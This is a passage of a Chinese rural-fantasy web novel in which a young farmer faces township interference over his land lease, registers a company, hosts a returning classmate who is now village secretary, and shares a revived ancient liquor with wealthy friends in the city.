莫天扬微微一笑，仿佛看到了空间里那些果实饱满如蚕豆的特殊酸溜溜。“标叔，现在西域那边红枣种植面积太大了，人家的昼夜温差优势我们比不了。我要种的，可不是普通的酸溜溜，”他语气笃定，“是一种特殊的品种，结的果子……能有蚕豆那么大！” “嘶——！”胡标几人同时倒吸一口冷气，惊得瞪大了眼睛！ “蚕……蚕豆那么大？！” “天扬，你该不会是说……咱青木山深处偶尔才能见到的那种‘沙棘王’吧？那玩意儿……就是在山里都稀罕得要命！你上哪儿……” 莫天扬笑容不变，带着一丝神秘：“差不多吧。我在别处见过。酸溜溜苗的事，我来想办法解决。眼下最要紧的，是在上冻前把地整好、草帘铺上。只要条件具备，咱们就能赶在明年开春前移栽！”他的话语中充满了不容置疑的决心。 第一百章开公司？ “现在人手足，拖拉机也有两台，紧赶慢赶根本用不着拖到入冬！秋天移栽反而更容易活！栽下去浇透一次水，再用稻草把根茎裹严实了，保管开春能活！”胡标信心满满地补充道。论起田间地头的实际经验，在场的这些老把式，确实都比莫天扬这个“理论派”强得多。 莫天扬欣然点头：“标叔说得对！那就辛苦大家伙再加把劲，争取秋天就把苗栽下去！” …… 莫天扬点燃了青木村的希望之火。村民们在家门口就能挣到实实在在的钱，不仅青壮年热情高涨，连老人们都焕发出了前所未有的干劲。 这使得青木村最南端那片曾经的荒芜沙地，竟成了沛川一带最热闹的“工地”，每天都有附近村子的村民跑来看稀奇。 工程如火如荼地推进着。然而，仅仅过了三五天，去乡里开完会回来的胡标，脸色却阴沉得能滴出水来。正在灶台边忙碌的陈峰、莫天扬等人，心头都跟着一沉。 “胡标，咋了？你们那会，不就是去点个卯、听个响儿？这还能……”陈峰放下锅铲，疑惑地问。 胡标没吭声，一屁股坐在凳子上，接过曹建华递来的一大碗水，咕咚咕咚灌下去半碗，才重重地叹了口气，抬眼看向莫天扬，眼神复杂。 “天扬，有个……坏消息。” 莫天扬心里咯噔一下，眉头微蹙。自己不过是个回乡种地的普通村民，乡里开会能跟自己扯上什么关系？“标叔，出什么事了？” “你在村里承包的那二百多亩沙地，”胡标的声音带着疲惫和压抑的怒意，“面积太大，乡里说……必须报备！而且，以后承包费得先打到乡政府的公账上，再由乡里拨给村民。”他顿了顿，嘴角扯出一丝苦涩，“就因为我没提前上报这事儿……乡里……把我这村支书给撤了。” “什么？！”陈峰第一个炸了，锅铲“哐当”一声敲在锅沿上，“多少年了？乡里对咱们青木村不闻不问，当没这个地儿！现在好不容易天扬带着大伙儿有点盼头了，他们倒蹦出来了？他们想干嘛？！” “标叔，峰叔，”莫天扬是真困惑了，他对这些行政流程一窍不通，“租地……真需要这么麻烦？还得报备？” 曹建华在一旁冷笑，语气尖刻：“哼！说得比唱得还好听！什么报备、公账？扯那些大旗，骨子里就是想从这钱里‘过过手’，捞点油水罢了！” 莫天扬看向胡标和陈峰求证。胡标苦笑着点点头，印证了曹建华的猜测：“虽说一亩地才五十块，可这近三百亩地，五年的承包费加起来，也算是一笔不小的数目了。钱要是走了乡里的公账，一来能算他们的‘政绩’，二来……”他无奈地摇摇头，“有些人，就能名正言顺地从中‘操作’了。” “就为了这点钱？”莫天扬的眉头拧紧了，一股无名火在心底窜起。这明明是一件利村利民、变废为宝的好事！怎么到了某些人眼里，就成了雁过拔毛的机会？这种赤裸裸的盘剥，让他感到一阵恶心和愤怒，“眼皮子也太浅了！” 胡标长叹一声，带着几分自嘲和悲凉：“天扬，不怕你笑话。我当了快三十年的支书，前些年还能拿到点微薄的工资，可近些年……那是一分钱都没见着！咱这儿太穷了，乡里也难。” 他看向莫天扬，“你这三百亩沙地的承包费，哪怕他们每亩只‘卡’十块钱，对他们某些人来说，那也是一笔不小的‘外快’了！” “走公账……他们具体能怎么‘卡’？”莫天扬追问，他需要明白其中的门道。 胡标摇摇头，语重心长：“天扬，你还年轻，书读得好，可这基层的弯弯绕绕，你经历得太少了。” 他压低声音，解释道，“你和每家每户都签了合同，约定每年付租金。钱一旦进了乡公账，什么时候拨、拨多少、拨给谁，就由不得你了！如果他们故意拖延，或者找个由头扣着不发，到了约定时间，村民拿不到钱，就是你违约！合同上写得清清楚楚！到时候，他们就能名正言顺地找你麻烦，甚至……撕毁合同！” 这个陷阱，让莫天扬瞬间感到一股寒意。 “那就一点办法都没有了。” “土地国有，走公账避免拖欠，这是大政策，谁也没法改变。除非……” 莫天扬眼睛一亮：“除非什么？” “除非你自己成立公司，有资金注册就能通过银行走账，这样能避免很多麻烦。” 莫天扬皱起眉头。这段时间他手里的确攒了些钱，但因为菜地只剩二十多亩，无法大量拿出空间里的蔬菜，资金积累大打折扣。支付工钱、添置农具，再加上承包费，眼下他手头的资金真没多少。开公司，首要的就是运营资金。 “标叔，开公司……” “你主要是种植、养殖，开个农贸公司就行。国家对农贸有扶持，不过资金流转要交税，一年下来，这笔税钱就是不小的开销。” 莫天扬深吸口气，点点头：“申请营业执照不是需要注入资金……” “你总共也就几百亩地，几万块就够了。” “那行，我联系一下涛哥，咱们就注册个农贸公司。” 说完，莫天扬带着歉意看向胡标：“标叔，因为我这点事，害得您……” 胡标苦笑着摇摇头，转头看了眼破败的村子：“做了一辈子支书，村子反倒越来越穷，不当也罢。以后跟着你干，心里也踏实。” “他们应该又选好人了吧？是咱们村的谁？” “听说是派来个大学生，我没见。这两天就该到了。天扬，想开公司得抓紧，这样乡里来人也没法刁难你。” “大学生？大学生能干啥？他认得庄稼吗？”陈峰在一旁插话。 颜若曦咯咯一笑：“峰叔，天扬可也是大学生。” “他们哪能和天扬比？”陈峰一摆手，“天扬在村里长大，农活不敢说精通，起码都能上手。刚回来就弄出这么大一片产业，养活咱们几十号人，谁还能有他这本事？” 众人都点头称是，倒让莫天扬有些不好意思：“峰叔，现在的大学生思路活、见识广，兴许人家能改变村子的现状。” 陈峰摇摇头，瞥了眼胡标：“这几年也来过几个大学生，都是摆设。真有本事的大学生，谁乐意来咱这鸟不拉屎的地儿？” 这话让莫天扬也苦笑起来。青木村几近荒废，大学生下乡多半是镀金，要改变这里的面貌，确实不是一般人能做到的。 莫天扬摆摆手：“那些事咱也管不了，做好自己就成。” 中午吃过饭，张学涛的电话打了过来：“天扬，上午我跟王传林他们联系了。刚给我回话，安云飞在浅驼，他要知道你在浅驼开农贸公司，准给你使绊子。他们已经托人在沛川帮你办手续了。” “太好了！改天过来，我得好好谢谢他们。” “天扬，还有件事。他们觉得你注册资金太少，不利于发展，几个人商量着，把你的注册资金提到五百万了。” 莫天扬咧咧嘴：“这也太多了吧？标叔说注册资金越大，手续越难办……” “放心，难不倒他们！你就安心等着吧。回头弄点山货给他们就行，这帮人连省里的手续都搞得定。” 有了张学涛这个电话，莫天扬彻底放了心。他推门出去，打算去酒坊看看。这几天酒坊里弥漫的酒香越来越浓，爷爷虽没明说，但莫天扬从那愈发醇厚的香气里就能感觉到，屠苏快出窖了。 刚出门，莫天扬脚步一顿。不远处停着一辆醒目的红色越野车。他对车没什么研究，但看那外形气派，价格肯定不菲。 “谁的车？”他心里嘀咕。自从菜地被毁，他不再对外出售蔬菜，青木村就鲜有外人踏足。这几天改造沙地，周围村子的人倒是过来看热闹，但来的人经济条件一般，顶多骑个摩托或电动车，开车来的寥寥无几。这突然出现的豪车…… 正疑惑间，车门开了。一位高挑的女子走下车，目测足有一米七二。水洗蓝的牛仔裤勾勒出两条笔直修长的腿，简单的白色T恤衬出凹凸有致的身段。那张脸美得足以引人注目，秀发随意挽成发髻，一双流动的美目顾盼生辉，散发着青春的活力。 看着下车的女子，莫天扬眼神闪烁了几下，莫名觉得有些眼熟，可一时又想不起在哪里见过。 就在他揣测这美女来意的当口，胡标急匆匆地迎了上去。莫天扬更是瞪大了眼睛：“难道是标叔家的亲戚？” 等胡标带着女子走近，莫天扬更是满头雾水。这几年他虽不在村里，但如果是本村人，他不可能不认识。 “天扬，给你介绍一下，”胡标指着身边的女子，“这位就是咱们村新来的大学生村支书，刘思雨。” “刘思雨？” 听到这个名字，莫天扬脑海嗡的一声，眼睛不由得睁大了，傻傻地看着眼前这位拥有绝色容颜的女子，脸上写满了难以置信。 刘思雨也打量着莫天扬——皮肤晒得黝黑，一身廉价的劳保服，笑意盈盈地问： “怎么，不认识了？” 第一百零一章针锋相对？ 莫天扬摇摇头：“你这身打扮，我只觉得眼熟，还真没认出来。你不是去了最好的经贸大学吗？该在大城市发展才对，怎么跑我们这鸟不拉屎的地方当村官了？” 刘思雨咯咯一笑：“你一个国内前十大学的高材生都能回来种菜，我怎么就不能回来？怎么，不请我进去坐坐？” “天扬，你俩认识？”胡标好奇地问。 莫天扬点点头：“标叔，刘思雨是我高中同学。” “只是同学吗？”刘思雨笑着追问。 “同桌行了吧。”莫天扬略显无奈。 胡标不由得笑了：“既然这么熟，我就不多介绍了。天扬，刘书记这次来，是想看看你种的蔬菜瓜果，打算作为重点扶持项目推广。你们聊，我去切个西瓜。” 进了会客室，刘思雨的目光便落在莫天扬脸上，直直地盯着他：“高考之后，我就给了你我的联系方式。这几年，为什么不联系我？” 莫天扬神色一僵，脸上掠过一丝尴尬：“我的情况你也知道，除了上课，天天都得打工挣钱，哪还有时间联系……” 刘思雨俏脸微红，突然抬脚就踩了莫天扬一下。莫天扬毫无防备，疼得低呼一声，脸上露出痛苦的表情。 “你……” “你什么你！手机呢？”说话间，一只白嫩的手已经伸到他面前。 莫天扬心里苦笑。同桌三年，交流虽少，但他深知刘思雨的脾气。只好掏出手机递过去。 “哟，这么有钱？”刘思雨翻看着手里的手机，眼神惊讶。 “我哪有钱，朋友送的。” 刘思雨给了他一个大白眼，随即点开手机。看到微信好友列表不到十个人时，她愣了一下。不过她很快反应过来，利落地加上自己好友，又用莫天扬的手机拨通自己的号码，这才把手机还回去。 深知她性格的莫天扬无奈摇头：“刘思雨，我们村的情况你该清楚。你怎么会来这儿当村官？” 刘思雨俏脸又泛起红晕，杏目迎上莫天扬的目光：“如果我说是因为你，你信不信？” 如此直白，让莫天扬老脸一红，目光转向窗外：“别开玩笑了。我们村的地都快荒完了，哪有什么发展前景？你过来……” “不是还有你吗？”刘思雨打断他，“你在青木村种出高品质蔬菜瓜果的事，网上都传遍了。现在你又承包了近三百亩沙地，一旦改造成功，就是活生生的示范基地！只要你能发展起来，我这村官就没白当。”她顿了顿，杏目闪烁，“莫天扬，我这次来，一是看看你种的蔬菜瓜果，二是有件事需要你同意。” “找我同意？”莫天扬失笑。 “进出青木村的路太难走，我打算在村里常住。所以嘛，想在你这儿蹭住一段时间。”刘思雨说得理所当然。 “住我这儿？不行不行！”莫天扬瞪大眼睛，“我这破地方就在荒野边上，你一个姑娘家怎么能……” “村大队那边就我一个人住，你放心让我待在那儿？”刘思雨反问。 莫天扬不由得苦笑。村里的大队部是早年盖的老房子，平时办事都在胡标家。让刘思雨这样一个年轻漂亮的姑娘独自住在荒废的大队部，确实不妥。 见莫天扬沉默，刘思雨杏眼里瞬间蒙上一层水雾，楚楚可怜的模样让人无法拒绝。 “行吧，”莫天扬终究心软了，“我这儿还有间空房，我找人给你收拾出来。” 话音刚落，刚才还泫然欲泣的刘思雨脸上瞬间绽开笑容：“好！我明天就搬过来！” “谁要搬过来？” 颜若曦的声音突然响起。她端着一盘切好的西瓜走进来，目光落在刘思雨身上的刹那，心神猛地一震，一股莫名的危机感骤然涌上心头。 不过只是一瞬，颜若曦便恢复了常态。她将西瓜放在茶几上，自然地坐到莫天扬身边，目光投向刘思雨，仔细打量着这个让她瞬间感到强烈威胁的美丽女子。 “天扬，这位是……”颜若曦开口，声音带着惯有的京腔韵味。 颜若曦打量着刘思雨，刘思雨也同样审视着颜若曦。她内心并不平静，猜不透颜若曦的来历——那口纯正的京腔绝非本地人。 刘思雨深知莫天扬的性格，老实甚至有些木讷，他怎么可能结识颜若曦这样气质出众的人？一个容貌不输于自己的女子，甘愿留在青木村，她的目的究竟是什么…… 莫天扬全无察觉两人间的暗流涌动，直白地介绍：“刘思雨，我高中同学，接替标叔的村支书。”他随即指了指颜若曦，“颜若曦，旅行博主，在村里帮我做宣传。” 刘思雨杏眼微挑，眼底掠过一丝惊讶：“你就是那个短期内吸粉两百万、专门宣传青木村农产品的网红博主‘曦若’？” 颜若曦咯咯一笑：“高中同学，还同桌？你们这缘分真不浅啊。” 莫天扬没听出弦外之音，反而看向颜若曦：“你粉丝涨这么快？前段时间不才一百万？” “这还是她没露脸直播的效果，”刘思雨接口道，“要是露了真容，粉丝上千万都有可能。” 颜若曦没接话茬，直接转向莫天扬：“天扬，你刚才说，她要住过来？”语气里带着一丝不易察觉的紧促。 “对，她是驻村支书。大队那边房子又破又旧，都快塌了，她一个人住那儿不安全。咱们这边正好有空房，让她借住一段时间。”莫天扬解释道。 “不行！”颜若曦脱口而出，“孤男寡女住一起，像什么话！” “怎么不行？我们又不住一间屋！”刘思雨立刻反驳，“莫天扬这个主人都同意了，你凭什么反对？” “我……”颜若曦一时语塞。 莫天扬一时没转过弯，不明白留宿刘思雨这事，为何会让颜若曦反应如此激烈。 “天扬，”颜若曦深吸一口气，语气坚决，“这里不是还有两间空屋吗？我也要住过来。” “不行！”刘思雨急了。 莫天扬无奈摇头：“刘思雨，让若曦也过来住挺好。你们互相有个伴，做事也方便些。” 颜若曦闻言，唇角勾起一抹胜利的笑意，起身看向刘思雨，眼神里带着几分挑衅：“天扬，那我这就回去收拾东西。” “别急，”莫天扬连忙说，“这几天热得要命，我先让涛哥弄两台空调回来。” “行，那我去帮慧姐，顺便跟峰叔说一声。”颜若曦转身。 刘思雨杏眼一眯：“我也去‘看看’。” 看着两人一前一后走出会客室的背影，莫天扬眼中满是无奈，甚至担心她们会不会在外面打起来。 正当他长吁短叹，琢磨着这两个初次见面的人怎么就针锋相对时，胡标走了进来。 “天扬，刘书记说她要住下来……” “标叔，刘思雨是我同学，还是同桌。她要去住大队部，那房子您也知道，都快塌了，她一个女孩子住那儿，我也不放心，所以……”莫天扬解释道。 “那若曦那丫头呢？”胡标疑惑地问，“她刚才也说要搬过来住。” “这边除了我和爷爷，就是工程队的工人。刘思雨一个人住着总归不太方便。若曦过来，她们俩也能做个伴。” 胡标眼神闪烁了几下。他可是过来人，虽不清楚刘思雨和莫天扬具体什么关系，却敏锐地捕捉到了颜若曦对莫天扬那份不同寻常的关注。 “天扬。”胡标语重心长，“刘书记漂亮又有工作，还是你同桌，这没得说。可若曦那孩子……你心里得有数，得把握好。” 莫天扬眼中满是茫然，隐约觉得标叔话里有话：“标叔，您想哪儿去了？” “外面她们俩你多留点神，”莫天扬岔开话题，“我去酒坊看看。” 胡标点点头，想起一事：“天扬，这两天酒香一日浓过一日，那味儿我们都没闻过，这酒肯定差不了！” 莫天扬哈哈一笑：“要是这屠苏真成了，咱们就又多了一条致富路！” 看着莫天扬离去的背影，胡标深吸一口气，眼中流露出难以掩饰的期待。他们虽说是给莫天扬打工，可心里都巴望着这孩子能更有出息。 酒坊里，莫天扬看向爷爷莫啸：“爷爷，今天……” 莫啸布满皱纹的脸上绽开笑容，指了指旁边一个酒杯：“尝尝。” 莫天扬一愣。杯中盛着一两多略显浑浊的酒液。“爷爷，能出酒了？” 莫啸点头，望了眼窗外：“天热，发酵快，比预想的提前了不少。” 莫天扬拿起酒杯，小心翼翼地抿了一口。未经勾调的原浆带着浓重的酒糟气，却掩盖不住屠苏酒特有的醇厚与绵软。酒液滑过舌尖，唇齿间竟萦绕起一种奇异的酒香，令人回味悠长。 “爷爷，这屠苏的味道，比上次尝的飞天茅台还要好上几分！” 莫啸颔首，眼中透着自豪：“到底是千年前的宫廷御酒，等精制出来，保管让那些老酒客痴迷。” “爷爷，那接下来……” “来，”莫啸招招手，“我教你……” 第一百零二章山汉进城 刘思雨虽是不请自来，但身为青木村新任支书，又是莫天扬的高中同桌，陈峰、胡标等人对她都表现出应有的尊重。 然而，并非所有人都对她抱有好感。颜若曦这位容貌不逊于刘思雨的女子，似乎总在不动声色地提防着什么。 两人虽彼此戒备，但因住隔壁，出门时总是一起行动，表面上常是有说有笑。这情形让胡标他们颇感诧异。 “天扬，吃饭了。” 正在研读药草古籍的莫天扬抬头，看到笑靥如花的颜若曦，点点头起身。心里却掠过一丝惊讶：自打刘思雨来了，每天吃饭，颜若曦都必定亲自来叫他。 刚走出房门，隔壁的门也恰好打开。刘思雨快步出来，自然而然地走到莫天扬另一侧。三人便结伴走向为游客搭建的临时饭堂帐篷。 落座时，两人更是默契地分坐莫天扬左右。陈宏利四人看得满眼羡慕，陈峰等长辈则只是含笑不语。 刚坐下的莫天扬忽然想起什么，又站了起来。众人一愣：“天扬，你……” 莫天扬微微一笑，看向爷爷莫啸：“爷爷，能拿出来了么？” “再窖藏些时日口感会更醇，不过现在喝也无妨。”莫啸的话让所有人精神一振！ “莫叔，您是说……屠苏酿成了？”胡标声音发颤。 莫啸朗声大笑：“成了！消失千年的古酒屠苏，重见天日了！” 刘思雨心头剧震。她来了几天，虽在了解村务，但每日同吃同住，也知道莫天扬在酿酒，只以为是寻常土法。此刻才惊觉，这爷孙俩竟是在复原失传千年的古方屠苏！ 片刻后，莫天扬抱着一个崭新的酒坛从酒坊走出。陈宏利几人面面相觑——这坛子是他们搬进去的，竟不知酒是何时酿好。 帐篷内，莫天扬揭开酒封。一股清雅绝伦的酒香瞬间弥漫开来，连不喝酒的人都忍不住深深吸气，顿觉神清气爽。 “光这酒香，就勾得我酒虫大动！不愧是千年佳酿！”陈峰由衷赞叹。 莫天扬含笑，先为爷爷斟满一杯。当金黄透亮的屠苏酒液注入杯中时，惊呼声此起彼伏！只见酒液并非寻常的清澈无色，而是澄澈的金黄色，杯壁上凝结着细密的金色酒珠，在光线折射下晕开道道金芒。 酒香愈发浓郁。胡标、曹勇这些老酒客面前自是满杯，就连颜若曦、曹慧、刘思雨等平日不沾酒的，面前也都斟了半杯。 莫天扬刚落座，颜若曦便笑盈盈地举杯：“恭喜千年古酒重焕新生！” 莫天扬刚抬手，另一侧的刘思雨也不甘示弱：“天扬，我也敬你！” 莫天扬心中苦笑，只得举杯向两人示意：“尝尝看。” 颜若曦轻啜一口，杏眼骤然睁大！醇厚的酒液滑过舌尖，竟无一丝辛辣，唯余温润绵长。酒液入腹，一股暖流随之游走四肢百骸，带来难以言喻的舒畅。唇齿间，更萦绕着一股从未领略过的奇异清香，令人心醉神迷。 “好酒，这难道就是古人所说的琼浆玉液。” 面对一片赞叹，莫天扬心里很是欣慰，他笑着看向刘思雨、颜若曦，“觉得这屠苏怎么样。” “没办法形容，不愧是诗词中所说的古酒。” “若曦，你觉得呢。” 颜若曦杏目流盼，“我爷爷家里收藏了的美酒，我也尝过不少，不过任何一种的口感都比不上屠苏，哪怕是价值上万的茅台、汾酒也是远远不如。如果将屠苏拿出去的话，用不了一个月，屠苏将会名满天下。” 莫天扬点头，“这屠苏是咱们用古法酿制，茅台、五粮液、汾酒这些古酒却采用了现代的工艺，口感相差大也在情理之中” 屠苏的确是失传已久的古酒。虽有爷爷莫啸相助成功酿造，莫天扬心里却清楚得很：屠苏能有如此绝妙口感，灵泉水功不可没。对外，他只能倚仗这传承的酿造工艺来说事。 “天扬，我虽不懂酒，但这屠苏绝对是顶级药酒！”陈峰激动地说，“好酒就该当拳头产品打出去！有它，青木村致富指日可待！” 莫天扬深吸一口气，重重点头。创业以来，他也常与爷爷、胡标他们小酌。虽不懂酒道，但喝过飞天茅台的他敢断言：这屠苏的口感，远胜茅台太多！ 创业之路，有灵泉空间助力，他能种出顶级的蔬果。如今再加上屠苏，无疑多了一条金光大道。 “我明天去趟沛川，先把屠苏送去检测。如果没问题，回来咱们再好好规划。” “不光送检，还得抓紧注册！”胡标提醒道，“这可是千年古方，别让人抢注了去！” “行！” 刘思雨杏眼微转：“我在县里有熟人，注册的事交给我吧。” 颜若曦扫了她一眼：“这么急着给自己攒政绩？” 刘思雨咯咯一笑：“遇上这种好事，谁不急？” 说完，她转向莫天扬，目光灼灼：“天扬，以后我给你当顾问，怎么样？” 颜若曦心头一紧，下意识看向莫天扬。莫天扬也是一怔。四年未联系，但他清楚刘思雨的底细——国内顶尖财经大学毕业，经贸领域的翘楚。若能得她相助，无疑是如虎添翼。 “你在我这儿白吃白住，当个顾问就当抵债了。”莫天扬半开玩笑道。 刘思雨甩给他一个大白眼：“这就露出资本家的丑恶嘴脸了？” 莫天扬哈哈一笑：“就当是吧！先吃饭。” …… 得益于国家开发大西北的政策扶持，沛川这座地处内陆的四线小城，也焕发出现代化的勃勃生机。 然而，沛川的飞速发展，却让这位归乡的重点大学毕业生莫天扬倍感茫然。离开四年，眼前这座车水马龙、高楼林立的城市，对他而言竟如此陌生。 “天扬，下车了。”张学涛的声音将他从恍惚中拉回。 莫天扬一愣，看向开车的张学涛，脸上掠过一丝窘迫：“涛哥，幸亏有你带着。要是我自己，真不敢来沛川。” 张学涛微感诧异：“沛川离浅驼才二十多公里，你……” 莫天扬苦笑摇头：“也就上大学时在这儿坐过车，去年回来下过车。仅此而已。” 张学涛心中感慨万千。他知莫天扬家境困难，却没想到竟连近在咫尺的沛川，对他都如此疏远。 “先下车，有机会带你好好转转。”张学涛拍拍他肩膀。 推门下车，莫天扬望着眼前川流不息的街道，心头蓦地涌起一股强烈的期待：青木村，未来能否也拥有这般繁华？ “看什么呢？” 莫天扬回神，转头问：“涛哥，这是哪儿？” 张学涛指向车位旁一栋气派的玻璃幕墙大厦。楼顶，“云鼎集团”四个大字在阳光下熠熠生辉。 “这是……？” “王哥的公司总部！要不是因为你的豆芽，我这辈子哪能结识到他这样身家几亿的大人物。” “这么厉害？” “整栋楼都是他的！别说沛川，在省里王哥都是响当当的人物。” “要打个电话吗？” “来之前给王哥发了微信，他说马上带人下来接。” 话音未落，王传林已领着七八名工作人员快步从楼内走出。不同于在村里的随意，此刻的他西装革履，气度俨然，一副成功企业家派头。 “天扬！可算把你盼来了！”王传林热情地握住莫天扬的手，“走，先上去喝口茶，中午好好聚聚！” 说话间，他的眼神却不由自主地瞟向张学涛的商务车后备箱。张学涛见状哈哈大笑： “王哥，你这演技也太假了吧！” 王传林搓着手，毫不掩饰地笑道：“没办法！谁让天扬酿出了失传千年的屠苏！我这心里啊，现在就猫抓似的想尝尝！” 说话间，王传林对带出来的工作人员沉声叮嘱：“小心点搬，一滴都别给我洒了！谁弄洒了，立马走人！” 踏进王传林那足有上百平米的办公室，莫天扬真有种刘姥姥进大观园的感觉，眼神里满是新奇与打量。他不清楚这里的房价几何，但仅看办公室的陈设——厚重的红木办公桌、考究的真皮沙发、墙上的艺术品——这装潢的奢华程度，已是普通人难以想象的数字。 “天扬，别光顾着看，过来喝茶。”王传林招呼道，“以你的本事，用不了几年，这些你也能有。” 莫天扬哈哈一笑：“借王哥吉言。” 刚坐下抿了几口茶，敲门声响起。一位二十出头、身着职业套装的年轻女子推门进来。她目光扫过衣着朴素的莫天扬，眼中闪过一丝不易察觉的讶异。 但这份讶异转瞬即逝，她的视线迅速落回王传林身上，语气恭敬：“董事长，祥和集团的赵总来电，想洽谈下一步合作事宜……” 王传林随意地摆摆手：“这几天我有安排。让王经理去谈。” 秘书微微一怔，显然有些意外：“董事长，您之前不是说这个项目……” 王传林淡淡一笑，指向莫天扬和张学涛：“我这两位兄弟难得过来，我得好好陪陪。以后他们来公司，直接带到我这儿就行。” 一声“兄弟”，让秘书彻底怔在原地！她深知董事长的行事作风，向来以事业为重。此刻竟要为两个看似普通的访客推掉所有行程？这在她入职以来，可是破天荒的头一遭！ 第一百零三章号召力 沛川酒店是沛川唯一的五星级酒店。 在一间装饰豪华的大包厢内，近三十人围坐在巨大的餐桌旁。王传林指着身边的莫天扬和张学涛，对众人介绍：“这就是我们常提起的莫天扬和张学涛，大家认识认识，以后在外面遇上可别认错了。” 莫天扬刚想起身自我介绍，王传林、李红军等人的家属却已先一步热情地自报家门。虽只是寥寥数语，莫天扬已将所有人的姓名样貌记在心里。 一道道精美菜肴陆续上桌，美女服务员开始介绍菜品。李红军深吸一口气，看向王传林：“老王，今天喝点什么？” 王传林朗声一笑：“这不天扬把屠苏送来了嘛！天扬算好了，每家一坛，还多带了一坛给咱们尝尝，我带来了！” “在哪呢？”众人目光热切。 “李哥，我来。”莫天扬起身。当那个装着十斤屠苏的酒坛被放到餐桌上时，所有人都站了起来！连包厢里训练有素的服务员也看得目瞪口呆。 王传林、李红军他们是这里的常客，每次来非茅台即五粮液。可眼下，这个衣着朴素的青年竟搬出一个形似腌菜坛的粗陶酒坛？这反差实在令人惊讶。 然而，当莫天扬揭开酒封，一股难以言喻的酒香瞬间弥漫开来。众人不由得瞪大眼睛，一股奇异的舒畅感传遍全身，令人难以置信。 “这酒香……绝了！”王传林失声惊叹。 “天扬，这酒哪买的？”一位衣着时髦、约莫三十岁的女士急切问道。 “嫂子，这是我自己酿的，叫屠苏。用了七十二味药材，能补气、活化细胞，常喝还能养颜美容。” “什么？！快给我倒点！”男人们还沉醉在酒香里，女人们听到“养颜”二字，包厢瞬间沸腾，莺声燕语地争抢起来。 待众人举杯浅尝一口，所有人都瞪大了眼睛，脸上写满不可思议——世间竟有如此口感的药酒！更神奇的是，酒液入腹后，体内竟升起一股缓缓流动的暖意，这是他们喝过的任何名酒都未曾带来的体验。 “绝品！简直是仙酿！” “天扬！我喝过的茅台、五粮液不少，跟这屠苏一比，那些都成了寻常酒水！你送这坛，哥就厚着脸皮收了，回头给你转账！”王传林激动道。其他人也纷纷附和。 莫天扬摆摆手，语气真诚：“王哥，上次就说好了，这第一炉屠苏是送给大家尝鲜的。提钱，就是没把我当朋友了。” “可这屠苏太珍贵了！就这一坛拿出去，少说也得卖上万块！”李红军感叹。 莫天扬淡然一笑：“我穷过，也知道钱好。但这酒是心意，谈钱伤感情。再说，我这次来，确实有事想请大家帮忙。” “什么事你尽管说！能办到的，一句话！”众人拍胸脯。 “我打算开个小酒坊……” 李红军抬手打断：“天扬，听涛子说你又承包了三百亩沙地，投入不小。缺多少？哥给你凑！” “对！”王传林接口，“这屠苏一上市肯定大火！我觉得你该在青木村直接建个酒厂！只要厂子立起来，就算不种地，不出几年，你身家千万不是问题！” 莫天扬摇摇头：“诸位，我是想请大家帮我找人给屠苏做个专业化验。这酒口感好，全靠手工古法酿造。我就想在村里弄个小酒坊，投入不大。只是酿酒需要的一些特殊器具和药材门路，还得仰仗各位帮忙牵线搭桥。” “屠苏难道必须的人工酿制？” 莫天扬深吸一口气，郑重道：“屠苏的方子是老爷子偶然得来的。现代工业酿造和古法手工差异很大，想用机器复制，配方就得大改。这过程麻烦不说，口感也天差地别。要让屠苏真正传承下去，我觉得还是得靠人工。” 众人对酿酒工艺并不精通，莫天扬说的又句句在理，只能无奈地相视苦笑。 “天扬，那你这小酒坊，大概能产多少？”有人问道。 “眼下只能用简易棚，产量也就一千多斤。等院子建好，规模会适当扩大点。” “所有的屠苏都给我留着！你就等着收钱吧！”王传林立刻接口。 “老王，你小子不地道，想吃独食啊？”李红军笑着揶揄。 王传林哈哈一笑，眼神精光闪烁：“诸位，这段时间我一直在琢磨个事儿。因为天扬的产品，咱们认识了更多人，路子也宽了不少。大家想过没有，要是咱们联手成立一个集团……” 所有人都是一怔。他们都不是等闲之辈，瞬间明白了王传林的深意——正是莫天扬的出现，让他们各自的事业都上了台阶。若能联手整合所有人的渠道，前途不可限量！ “老王，这想法有点意思！回头咱们得好好合计合计！”李红军率先响应。 一顿饭下来，人人满面红光。王传林几个更是带了几分醉意。莫天扬和张学涛直接被安排住进了沛川酒店。 夜幕降临，众人再次聚到包厢。王传林几个一见莫天扬和张学涛进来，顿时激动起来： “天扬！这屠苏简直神了！搁以前喝这么多，这会儿早晕得找不着北了！我们就回去睡了一觉，现在啥事没有，浑身还觉得轻快了不少！” 莫天扬淡然一笑：“屠苏是纯粮酿造，没半点勾兑。里面几十味药材，效果自然好。不过再好也是酒，喝多了伤身，以后大家还是适量。” 王传林几个朗声笑道：“听你的！晚上把中午剩的喝完就行！对了天扬，晚上安排了海鲜，吃不惯咱马上换。” “海鲜我吃得少，正好尝尝。”莫天扬说完，想起一事，“王哥，沛川的农贸市场在哪儿？我明天想去转转。” “酒店附近就有一个，不过规模不如郊区那个大的。你这是要……” “去开开眼，看看有什么新奇品种。” “行！那我明天送你。” “不用麻烦，”莫天扬摆摆手，“我习惯早起，到时候打车过去就行，就是随便看看。” “天扬，我送你过去吧。”张学涛笑着说道。 “涛哥，你明天不是还有事？再说我也不知道要转多久。”莫天扬婉拒道。 随着一道道海鲜摆上桌，龙虾、帝王蟹、大青蟹……莫天扬心中感慨万千。活了二十多年，更在南方发达城市读过大学，可眼前这些珍馐，别说尝过，他连见都没见过。 深吸一口气，他暗自决定：一定得弄些回去，让爷爷他们也尝尝鲜。 “天扬，尝尝这青蟹！都是活蟹空运来的。”王传林边说边给他夹了一只足有一斤重的大青蟹。 揭开蟹盖，满目金黄油亮的蟹膏。莫天扬挑了一块放入口中，鲜香在舌尖绽开，确实美味。然而，比起灵泉空间里那金膏蟹的极致滋味，终究还是差了一筹。 刚品完蟹膏，一块雪白弹嫩的龙虾肉又送到了面前。莫天扬细细咀嚼，那鲜甜饱满的口感让他不由点头——难怪龙虾是无数人的梦想珍馐，滋味果然不凡。 “天扬，味道怎么样？”王传林笑问。 “都说山珍海味好，今天算是领教了，确实名不虚传。”莫天扬由衷赞叹。 “下次我让人给你捎点！你和老爷子琢磨琢磨，要是能做出来，以后我们可就去你那儿解馋了！” 王传林这话一出，家属们的目光齐刷刷聚焦到莫天扬身上：“天扬，你还会做菜？” 李红军朗声笑道：“天扬的手艺，可比这五星酒店的大厨强多了！要不是他种菜赚钱又自在，我们早合伙开个酒店请他掌勺了！” “天扬，你爷爷是怎么培养出你这天才的？种菜一流，厨艺还这么高！”一位嫂子惊叹。 